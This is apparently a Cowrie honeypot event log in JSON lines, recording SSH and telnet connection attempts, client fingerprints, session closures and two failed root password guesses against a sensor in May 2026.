{"eventid":"cowrie.session.closed","duration":44.002567529678345,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:50.521253Z","src_ip":"152.42.224.71","session":"49b6c8b7b644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":59532,"dst_ip":"10.17.0.5","dst_port":22,"session":"e385b1b56032","protocol":"ssh","message":"New connection: 103.98.149.87:59532 (10.17.0.5:22) [session: e385b1b56032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:54.277288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:54.282140Z","src_ip":"103.98.149.87","session":"e385b1b56032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:54.542329Z","src_ip":"103.98.149.87","session":"e385b1b56032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132435","message":"login attempt [root/132435] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:55.290003Z","src_ip":"103.98.149.87","session":"e385b1b56032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:56.517623Z","src_ip":"103.98.149.87","session":"e385b1b56032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.14430069923401,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:57.673508Z","src_ip":"152.42.224.71","session":"221daa563f9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00137615203857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:58.376819Z","src_ip":"152.42.224.71","session":"0203ef211ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54014,"dst_ip":"10.17.0.5","dst_port":23,"session":"c335e82f694b","protocol":"telnet","message":"New connection: 152.42.224.71:54014 (10.17.0.5:23) [session: c335e82f694b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:00.242078Z"}
{"eventid":"cowrie.session.closed","duration":18.76783561706543,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:02.337869Z","src_ip":"152.42.224.71","session":"1a43a618a6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8653950691223145,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:04.107342Z","src_ip":"152.42.224.71","session":"c335e82f694b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.368780851364136,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:12.869818Z","src_ip":"152.42.224.71","session":"77d024d1b123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36922,"dst_ip":"10.17.0.5","dst_port":23,"session":"be865b81ec9e","protocol":"telnet","message":"New connection: 152.42.224.71:36922 (10.17.0.5:23) [session: be865b81ec9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:19.458213Z"}
{"eventid":"cowrie.session.closed","duration":44.888572454452515,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:20.213802Z","src_ip":"152.42.224.71","session":"35d54521141f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36926,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb5beca5fd9f","protocol":"telnet","message":"New connection: 152.42.224.71:36926 (10.17.0.5:23) [session: cb5beca5fd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:25.164664Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49470,"dst_ip":"10.17.0.5","dst_port":23,"session":"13da39782b26","protocol":"telnet","message":"New connection: 152.42.224.71:49470 (10.17.0.5:23) [session: 13da39782b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:42.313549Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49486,"dst_ip":"10.17.0.5","dst_port":23,"session":"c854738ed690","protocol":"telnet","message":"New connection: 152.42.224.71:49486 (10.17.0.5:23) [session: c854738ed690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:43.546630Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33022,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbdf44cab61","protocol":"telnet","message":"New connection: 152.42.224.71:33022 (10.17.0.5:23) [session: 7dbdf44cab61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:46.414145Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33054,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a1057f5855","protocol":"telnet","message":"New connection: 152.42.224.71:33054 (10.17.0.5:23) [session: 51a1057f5855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:50.975086Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33038,"dst_ip":"10.17.0.5","dst_port":23,"session":"7632323409cd","protocol":"telnet","message":"New connection: 152.42.224.71:33038 (10.17.0.5:23) [session: 7632323409cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:10:51.002450Z"}
{"eventid":"cowrie.session.closed","duration":47.62853407859802,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:07.086583Z","src_ip":"152.42.224.71","session":"be865b81ec9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.20408391952515,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:10.368607Z","src_ip":"152.42.224.71","session":"cb5beca5fd9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.066121816635132,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:14.480136Z","src_ip":"152.42.224.71","session":"7dbdf44cab61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.114869356155396,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:33.661401Z","src_ip":"152.42.224.71","session":"c854738ed690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00241923332214,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:36.304656Z","src_ip":"152.42.224.71","session":"5a6e656bd1f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.55903077125549,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:41.872479Z","src_ip":"152.42.224.71","session":"13da39782b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.673484802246094,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:44.675835Z","src_ip":"152.42.224.71","session":"7632323409cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48938,"dst_ip":"10.17.0.5","dst_port":23,"session":"5783ffabd947","protocol":"telnet","message":"New connection: 152.42.224.71:48938 (10.17.0.5:23) [session: 5783ffabd947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:11:49.055305Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45348,"dst_ip":"10.17.0.5","dst_port":23,"session":"f46c230d008b","protocol":"telnet","message":"New connection: 152.42.224.71:45348 (10.17.0.5:23) [session: f46c230d008b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:04.753096Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38884,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd7307039eb","protocol":"telnet","message":"New connection: 152.42.224.71:38884 (10.17.0.5:23) [session: 8dd7307039eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:06.217511Z"}
{"eventid":"cowrie.session.closed","duration":28.873209476470947,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:17.928428Z","src_ip":"152.42.224.71","session":"5783ffabd947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59822,"dst_ip":"10.17.0.5","dst_port":23,"session":"913927e9283e","protocol":"telnet","message":"New connection: 152.42.224.71:59822 (10.17.0.5:23) [session: 913927e9283e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:17.961338Z"}
{"eventid":"cowrie.session.closed","duration":34.877426624298096,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:39.630374Z","src_ip":"152.42.224.71","session":"f46c230d008b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.47698903083801,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:45.694373Z","src_ip":"152.42.224.71","session":"8dd7307039eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00440406799316,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:50.979348Z","src_ip":"152.42.224.71","session":"51a1057f5855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47480,"dst_ip":"10.17.0.5","dst_port":23,"session":"d37dcb54c1c9","protocol":"telnet","message":"New connection: 152.42.224.71:47480 (10.17.0.5:23) [session: d37dcb54c1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:53.338336Z"}
{"eventid":"cowrie.session.closed","duration":41.84466505050659,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:12:59.805898Z","src_ip":"152.42.224.71","session":"913927e9283e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7929792f03f","protocol":"telnet","message":"New connection: 152.42.224.71:58148 (10.17.0.5:23) [session: f7929792f03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:02.821962Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":43738,"dst_ip":"10.17.0.5","dst_port":22,"session":"63770b92f24c","protocol":"ssh","message":"New connection: 103.183.114.55:43738 (10.17.0.5:22) [session: 63770b92f24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:13.485137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:13.490844Z","src_ip":"103.183.114.55","session":"63770b92f24c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:13.713688Z","src_ip":"103.183.114.55","session":"63770b92f24c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kontakt","message":"login attempt [root/kontakt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:14.382972Z","src_ip":"103.183.114.55","session":"63770b92f24c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:15.608327Z","src_ip":"103.183.114.55","session":"63770b92f24c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"6db95fae26db","protocol":"telnet","message":"New connection: 152.42.224.71:59824 (10.17.0.5:23) [session: 6db95fae26db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:18.635069Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"776e2ee2f334","protocol":"telnet","message":"New connection: 152.42.224.71:59838 (10.17.0.5:23) [session: 776e2ee2f334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:20.870535Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":45988,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bda07e98584","protocol":"ssh","message":"New connection: 194.59.206.2:45988 (10.17.0.5:22) [session: 5bda07e98584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:23.847522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:23.852947Z","src_ip":"194.59.206.2","session":"5bda07e98584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:23.938884Z","src_ip":"194.59.206.2","session":"5bda07e98584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:24.029814Z","src_ip":"194.59.206.2","session":"5bda07e98584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59840,"dst_ip":"10.17.0.5","dst_port":23,"session":"de08baa091de","protocol":"telnet","message":"New connection: 152.42.224.71:59840 (10.17.0.5:23) [session: de08baa091de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:24.658406Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":36076,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb32deea3710","protocol":"telnet","message":"New connection: 209.127.178.212:36076 (159.203.135.109:23) [session: eb32deea3710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:24.666978Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ff87c26c79","protocol":"telnet","message":"New connection: 152.42.224.71:60712 (10.17.0.5:23) [session: 40ff87c26c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:26.869784Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.130","src_port":58634,"dst_ip":"10.17.0.5","dst_port":22,"session":"1792e88af4fc","protocol":"ssh","message":"New connection: 198.235.24.130:58634 (10.17.0.5:22) [session: 1792e88af4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:43.703248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:44.477958Z","src_ip":"198.235.24.130","session":"1792e88af4fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:45.711272Z","src_ip":"198.235.24.130","session":"1792e88af4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39194,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c05329c3859","protocol":"telnet","message":"New connection: 152.42.224.71:39194 (10.17.0.5:23) [session: 1c05329c3859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:48.379451Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51558,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd84c12c5f95","protocol":"telnet","message":"New connection: 152.42.224.71:51558 (10.17.0.5:23) [session: fd84c12c5f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:48.383061Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f05d75d3e77","protocol":"telnet","message":"New connection: 152.42.224.71:51566 (10.17.0.5:23) [session: 4f05d75d3e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:48.386523Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58087,"dst_ip":"159.203.135.109","dst_port":22,"session":"7315df55d9f6","protocol":"ssh","message":"New connection: 152.42.212.128:58087 (159.203.135.109:22) [session: 7315df55d9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:48.830880Z"}
